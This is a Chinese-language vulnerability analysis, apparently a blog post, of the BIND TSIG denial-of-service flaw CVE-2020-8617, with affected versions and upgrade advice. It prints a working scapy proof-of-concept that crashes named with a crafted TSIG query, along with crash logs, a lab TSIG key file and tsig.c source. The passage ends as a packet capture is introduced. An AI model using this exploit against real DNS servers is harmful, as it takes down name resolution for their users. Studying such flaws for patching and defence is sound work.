2020年5月22日,国家信息安全漏洞共享平台(CNVD)https://www.cnvd.org.cn 收录了DNS BIND拒绝服务漏洞(CNVD-2020-29429,对应CVE-2020-8617)。攻击者利用该漏洞,可使BIND域名解析服务崩溃。
目前,该漏洞的利用代码已公开,github有相关漏洞的教学演示,点击链接
ISC官网对此漏洞的详细说明点击链接,ISC对此漏洞的描述如下:
- 攻击者可能利用BIND代码中的错误检查包含TSIG资源记录的消息的有效性,从而在tsig.c中触发断言失败,从而导致拒绝为客户端提供服务。
- 使用特制的消息,如果攻击者知道(或成功猜测)服务器使用的TSIG密钥的名称,则攻击者可能会导致BIND服务器进入不一致状态。
- 由于BIND默认情况下甚至会在其配置未使用的本地服务器上配置本地会话密钥,因此几乎所有当前的BIND服务器都容易受到攻击。
ISC给出目前受到此漏洞影响的版本如下,同时给出升级的版本,建议大家尽快升级。
- BIND 9.12.0 ~ 9.12.4P2
- BIND 9.14.0 ~ 9.14.11
- BIND 9.16.0 ~ 9.16.2
- BIND 9.17.0 ~ 9.17.1 实验版本分支
- BIND 9.13 ~ 9.15 所有废弃的开发分支
- BIND 9.9.3-S1 至 9.11.18-S1 的发行预览版
从公开的漏洞演示代码简单分析此漏洞的细节。
- 先看如下python3的脚本,使用了scapy库实现域名的standerd query但附加了TSIG信息。
#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
dst是DNS服务器的IP地址,这里有个rrname="local-ddns"
的配置,这个我们简单介绍一下:
bind软件的用于TSIG会话密钥密钥名称,如果不指定,则默认就是local-ddns
,bind程序named启动后,从存放TSIG会话密钥的文件session.key来看,默认的秘钥值key确实是local-ddns,秘钥算法是hmac-sha256,这就也就是为什么ISC官网说:Since BIND, by default, configures a local session key even on servers whose configuration does not otherwise make use of it, almost all current BIND servers are vulnerable.
[root@localhost named]# cat session.key
key "local-ddns" {
algorithm hmac-sha256;
secret "QnosxYWRr2GVqnKrxMXGZpI0cuUQ/4f+FROsSyTBV7M=";
};
[root@localhost named]# pwd
/root/bind12/var/run/named
- 演示的效果也比较简单直接。
bind运行在-g状态下,执行脚本后named直接报错退出了并指向代码tsig.c:869: INSIST(msg->verified_sig) failed
14-Jun-2020 08:32:00.415 zone example.com/IN: loaded serial 2015012902
14-Jun-2020 08:32:00.415 all zones loaded
14-Jun-2020 08:32:00.415 running
14-Jun-2020 08:32:00.415 zone example.com/IN: sending notifies (serial 2015012902)
14-Jun-2020 08:34:32.215 client @0x7f23c40e2780 192.168.130.180#53: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
14-Jun-2020 08:34:32.215 tsig.c:869: INSIST(msg->verified_sig) failed
14-Jun-2020 08:34:32.215 exiting (due to assertion failure)
[root@localhost ~]#
演示环境的bind版本是bind-9.12.4,找到tsig.c代码文件的相关行如下。
/*
* If this is a response, and if there was a TSIG in
* the query, digest the request's MAC.
*
* (Note: querytsig should be non-NULL for all
* responses except TKEY responses. Those may be signed
* with the newly-negotiated TSIG key even if the query
* wasn't signed.)
*/
if (response && msg->querytsig != NULL) {
dns_rdata_t querytsigrdata = DNS_RDATA_INIT;
INSIST(msg->verified_sig);
ret = dns_rdataset_first(msg->querytsig);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
dns_rdataset_current(msg->querytsig, &querytsigrdata);
ret = dns_rdata_tostruct(&querytsigrdata, &querytsig,
NULL);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
isc_buffer_putuint16(&databuf, querytsig.siglen);
if (isc_buffer_availablelength(&databuf) <
querytsig.siglen) {
ret = ISC_R_NOSPACE;
goto cleanup_context;
}
isc_buffer_putmem(&databuf, querytsig.signature,
querytsig.siglen);
isc_buffer_usedregion(&databuf, &r);
ret = dst_context_adddata(ctx, &r);
if (ret != ISC_R_SUCCESS)
goto cleanup_context;
}
脚本发出的查询请求抓包中相关内容如下。